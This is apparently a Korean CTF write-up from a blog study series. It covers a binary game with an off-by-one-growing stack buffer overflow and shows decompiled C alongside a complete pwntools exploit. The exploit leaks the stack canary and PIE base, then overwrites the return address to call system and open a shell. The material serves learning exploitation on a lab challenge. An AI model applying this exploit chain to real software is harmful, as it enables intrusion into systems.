728x90
반응형
Execution
실행을 하면 ya, da, yum, ba 로 이루어진 문자열이 출력된다.
복사해서 같은 문자열을 넣어주면 점수를 얻고 아니면 점수가 감점된다.
Audit
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
initialize();
puts("Yolo yada yada - Play with me!");
puts("===========================================");
main_func();
return 0LL
main 함수에서 minn_func 을 호출한다.
unsigned __int64 sub_EAD()
{
size_t v0; // rax
size_t v2; // rax
char *s1; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+78h] [rbp-8h]
canary = __readfsqword(0x28u);
while ( 1 )
{
s1 = get_rand_dayum(); // random_badayum
memset(s, 0, 0x64uLL);
printf("Your score: %d\n", score);
printf("me > %s\n", s1);
printf("you > ");
v0 = strlen(s1);
read(0, s, v0 + 1);
if ( !strncmp(s, "exit", 4uLL) )
break;
v2 = strlen(s1);
if ( !strncmp(s1, s, v2) ) // s1 과 s 를 v2 만큼 비교해서 같을 때
{
printf("You said: %s", s);
puts("Yay, you're good at this, let's go on :)\n");
++score;
}
else // 다를 때
{
printf("You said: %s", s);
puts("I don't think you understood how this game works :(\n");
--score;
}
free(s1);
}
free(s1);
puts("Ya go away, I don't want to play with you anymore anyways :P\n");
return __readfsqword(0x28u) ^ canary;
}
main_func 에서 get_rand_dayum 함수로 ya, da, yum, ba 로 이루어진 랜덤한 문자열을 return받아 s1 에 저장한다.
v0 = strlen(s1);
read(0, s, v0 + 1);
이후 s 에 입력을 받는데 s1의 길이에 따라 입력 길이가 결정된다.
이때 s1 길이보다 1바이트 더 입력할 수 있다.
s의 첫 4바이트에 exit 가 있으면 break 를 한다.
입력한 문자열의 처음 s1 길이만큼이 s1 과 같다면 입력한 s를 출력하고 ++score 한다.
else // 다를 때
{
printf("You said: %s", s);
puts("I don't think you understood how this game works :(\n");
--score;
}
입력한 문자열의 처음 s1 길이만큼이 s1과 다르다면 입력한 s 를 출력하고 --score 한다.
Exploit method
출력되는 badayum 에 따라서 입력되는 크기가 달라지는데 여기서 bof 가 발생한다.
from pwn import *
p = process("./challenge")
# context.log_level = 'debug'
sla = p.sendlineafter
sa = p.sendafter
# 0x70
def len_txt(length):
while True:
p.recvuntil(b"me > ")
txt = p.recvuntil(b"\n")
print(txt)
if len(txt) >= length:
break
else:
sla(b"you > ", b"a")
continue
# canary leak
# gef➤ pie br 0xf4d
# gef➤ pie br 0x1049
pause()
sla(b"you > ", b'a'*0x68)
p.recvuntil(b"\n")
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print(hex(canary))
# pie base leak
payload = b''
payload += b'a'*0x68
payload += b'a'*0x8 # canary
payload += b'a'*0x7 # rbp
len_txt(len(payload))
sla(b"you > ", payload)
p.recvuntil(b'\n')
main_addr = u64(p.recvn(7)[:-1].ljust(8,b'\x00'))
main_off = 0x1081
pie_base = main_addr - main_off
print(hex(main_addr))
print(hex(pie_base))
system_off = 0xd30
system_addr = pie_base + system_off
ret_off = 0x10f4
ret_addr = pie_base + ret_off
print(hex(system_addr))
payload = b''
payload += b'a'*0x68
payload += p64(canary)
payload += b'a' * 0x8
payload += p64(ret_addr)
payload += p64(system_addr)
len_txt(len(payload))
sla(b"you > ", payload)
sla(b"you > ", b'exit')
p.interactive()
이 글은 옵시디언을 이용해서 작성되었습니다.
728x90
반응형
'TOOR' 카테고리의 다른 글
[TOOR] 23. Heap chunk 구조 (2) | 2023.10.17 |
---|---|
[TOOR] 22. FSOP (2) | 2023.10.17 |
[TOOR] 18.1 Type Confusion (0) | 2023.10.12 |
[TOOR] 18.2 dream_restaurant write up(미완) (0) | 2023.10.12 |
[TOOR] 6.2 Toor_Canary write_up (0) | 2023.10.07 |